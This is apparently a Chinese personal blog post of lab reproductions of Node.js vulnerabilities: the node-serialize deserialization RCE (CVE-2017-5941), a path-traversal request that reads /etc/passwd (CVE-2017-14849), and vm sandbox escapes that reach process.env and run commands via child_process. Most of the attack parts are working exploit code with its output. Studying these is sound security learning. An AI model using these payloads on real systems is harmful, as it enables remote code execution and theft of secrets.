0%

Nodejs进阶知识点

Node.js中的反序列化漏洞:CVE-2017-5941

这个漏洞针对于node-serialize@0.0.4这个版本

前置准备

1
2
3
4
5
6
7
8
9
10
11
12
# nodejs
sudo apt-get install nodejs
sudo apt-get install nodejs-legacy
# 版本号
node -v
# npm
sudo apt-get install npm
# 版本号
npm -v

# 下载对应版本
sudo npm install node-serialize@0.0.4 --save

建议在自己的vps下复现

我这里准备的比较粗糙,没有做好环境区分什么的

一个exp

我们直接搓一个index.js,内容如下,然后直接node运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@dkhkdB44QUxpXagmmGyT:~/test# cat index.js
// index.js
var serialize = require('node-serialize');
var chybeta = {
vuln : function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});},
}
serResult = serialize.serialize(chybeta);
console.log("serialize result:");
console.log(serResult+'\n');
console.log("Direct unserialize:")
serialize.unserialize(serResult);
console.log("\n");
console.log("Use IIFE to PWN it:")
exp = serResult.substr(0,serResult.length-2) + "()" + serResult.substr(-2);
console.log(exp);
console.log("Exec whoami:")
serialize.unserialize(exp);

// node index.js


root@dkhkdB44QUxpXagmmGyT:~/test# node index.js
serialize result:
{"vuln":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});}"}

Direct unserialize:


Use IIFE to PWN it:
{"vuln":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami', function(error, stdout, stderr) {console.log(stdout);});}()"}
Exec whoami:
root

我们会发现直接执行了whoami命令,那么这条反序列化是如何利用的呢

理论分析

  1. IIFE
    是一种立即调用函数表达式,在定义时候就会被执行的表达式(可以类比python中的海象表达式)
    IIFE相关内容
    exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 标准 IIFE
(function () {
// 语句……
})();

// 箭头函数变体
(() => {
// 语句……
})();

// 异步 IIFE
(async () => {
// 语句……
})();
  1. 通常是需要括号括起来才能被正常解析

  2. 参数可以通过,也可以不提供

  3. 关于serialize.js中反序列化处理出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
root@dkhkdB44QUxpXagmmGyT:~/node_modules/node-serialize/lib# cat serialize.js
var FUNCFLAG = '_$$ND_FUNC$$_';
var CIRCULARFLAG = '_$$ND_CC$$_';
var KEYPATHSEPARATOR = '_$$.$$_';
var ISNATIVEFUNC = /^function\s*[^(]*\(.*\)\s*\{\s*\[native code\]\s*\}$/;

var getKeyPath = function(obj, path) {
path = path.split(KEYPATHSEPARATOR);
var currentObj = obj;
path.forEach(function(p, index) {
if (index) {
currentObj = currentObj[p];
}
});
return currentObj;
};

exports.serialize = function(obj, ignoreNativeFunc, outputObj, cache, path) {
path = path || '$';
cache = cache || {};
cache[path] = obj;
outputObj = outputObj || {};

var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object' && obj[key] !== null) {
var subKey;
var found = false;
for(subKey in cache) {
if (cache.hasOwnProperty(subKey)) {
if (cache[subKey] === obj[key]) {
outputObj[key] = CIRCULARFLAG + subKey;
found = true;
}
}
}
if (!found) {
outputObj[key] = exports.serialize(obj[key], ignoreNativeFunc, outputObj[key], cache, path + KEYPATHSEPARATOR + key);
}
} else if(typeof obj[key] === 'function') {
var funcStr = obj[key].toString();
if(ISNATIVEFUNC.test(funcStr)) {
if(ignoreNativeFunc) {
funcStr = 'function() {throw new Error("Call a native function unserialized")}';
} else {
throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.');
}
}
outputObj[key] = FUNCFLAG + funcStr;
} else {
outputObj[key] = obj[key];
}
}
}

return (path === '$') ? JSON.stringify(outputObj) : outputObj;
};

exports.unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;

var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = exports.unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}

if (isIndex) {
circularTasks.forEach(function(task) {
task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
});
}
return obj;
};

注意看这段反序列化处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
exports.unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;

var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = exports.unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}

if (isIndex) {
circularTasks.forEach(function(task) {
task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
});
}
return obj;
};

这里注意到有一句eval,是否可以进行命令执行呢

1
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');

这里的unserialize逻辑允许一种特殊字符串前缀FUNCFLAG(序列化时把函数变成字符串并加上前缀).攻击者能够控制 obj 的内容(未信任来源)。关键点:反序列化过程**把外部输入当“可执行代码的字符串”**处理。
我们构造一个IIFE,在调用这个版本的unserialize的时候,就能够杯执行(构造时要注意前缀等内容)

这里也是有一份现成的脚本

1
2
3
4
5
6
7
8
9
10
11
serialize = require('node-serialize');
var test = {
exp : function(){
require('child_process').exec('ls /', function(error, stdout, stderr){
console.log(stdout)
});
},
}
console.log("序列化生成的payload:\n" + serialize.serialize(test));

// {"exp":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',function(error,stdout,stderr){console.log(stdout)});}"}

看一下逻辑就是用node-serialize这个库进行序列化(会自动带上标志前缀)

生成的payload被unserialize调用的时候就会被调用造成rce了

Node.js 目录穿越漏洞复现 CVE-2017-14849

复现的时候搭环境就有点问题,我本人并不喜欢在本地起docker,更喜欢在vps上进行操作,由于前几次git clone下来的文件内容都比较小,所以我也就随意clone了,然后vps上还存了三四个将来要打和复现的题目的docker环境,导致我原本2g的容量不太够,在vulhub想用svn单独clone这个漏洞的文件夹下来,发现一直报错(原因不明),后面我还是全clone下来了(没想到vulhub居然只占不到100mb)

直接起docker,然后burpsuit抓包
将GET方法的/改为/static/../../../a/../../../../etc/passwd 即可下载得到/etc/passwd文件
如图所示

alt text

原理暂时还是无法理解(doge)
https://security.tencent.com/index.php/blog/msg/121

vm沙箱逃逸

煮波打了两天的春秋云镜,才拿到了第一个flag(已老实,这套靶场打完我会尽快的更新wp,尽量做到比包子王还要详细,工具的配置什么的我会讲的更加清楚,然后也会提供一个工具箱的地址,有的摸爬滚打真的只有自己体会了之后才能知道)

现在重新回来把VM沙箱逃逸的内容补充一下,Nodejs这块内容就算是告一段落了,后续要是还有什么很骚的姿势我会接着补充的

vm简介

vm模块能够在V8虚拟机上下文中编译和运行代码,隔离当前的执行环境,避免被恶意代码攻击

听着似乎是挺安全的,实际上呢?

逃逸例子

目前最常见的exp

1
2
3
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

运行之后造成了什么后果呢?

1
2
3
4
5
6
7
8
9
10
11
root@dkhkdB44QUxpXagmmGyT:~# node test.js
{
SHELL: '/bin/bash',
PWD: '/root',
LOGNAME: 'root',
XDG_SESSION_TYPE: 'tty',
MOTD_SHOWN: 'pam',
HOME: '/root',
LANG: 'C.UTF-8',
.......
}

爆了一地的装备,那这就很有意思了,明明说vm是提供了一个安全的隔离环境来运行js代码,那么这里为什么会爆装备呢

解释

在创建vm环境的时候,会先初始化一个对象,这里姑且叫做沙箱sandbox,这个对象就是在vm中执行脚本时的全局环境,这里叫做context,在这个vm脚本中,全局this指向这个对象,看如下

上面的exp可以等价于下面的这段代码

1
2
3
4
5
6
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

这里来逐行分析

第一行就是直接require一个vm
第二行就是先初始化一个对象sandbox,后续会作为vm这里的全局环境
第三行这里主要是一个this.constructor.constructor的问题
this.constructor.constructor返回的是一个Function constructor,然后这里我们就可以利用这个特性,利用function对象来构造一个函数并执行(也就是这里的return this.process.env)。其次的new vm.Script(codeString)就是把传入的 JavaScript 源码编译成一个可重复执行的 Script 对象,但并不立即执行
第四行vm.createContext(sandbox)的操作就是:把一个普通对象 sandbox “上下文化”(contextify)为 V8 的独立全局对象(context)。之后在这个 context 里运行的脚本,会把该 context 作为它的全局对象(globalThis / this)的基础
第五行script.runInContext(context):在先前 createContext 创建的 context(上下文)中执行 vm.Script 编译的代码并返回结果。相当于把编译好的代码“注入”到该 context 的全局里执行
后面就得到了env

但是要说这里面的根本原因,其实还是在creatContest这里

vm.createContext 并未移除 constructor 这类链条。通过对象构造器的链(this.constructor.constructor)可以取得 Function,而 Function 构造出来的函数运行在宿主全局,从而可以访问宿主的敏感全局(process、require 等)

同样的道理,配合上chile_process.exec()就可以进行rce了

1
2
3
4
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);

Nodejs告一段落了,最近看了X1r0z大佬的博客,被他那么全面的技术栈震惊到了(居然还会区块链),每看一位大佬的博客,感觉都像是对我自己不足的一次警醒,起点已经比大家低很多了,所以要进行更多的学习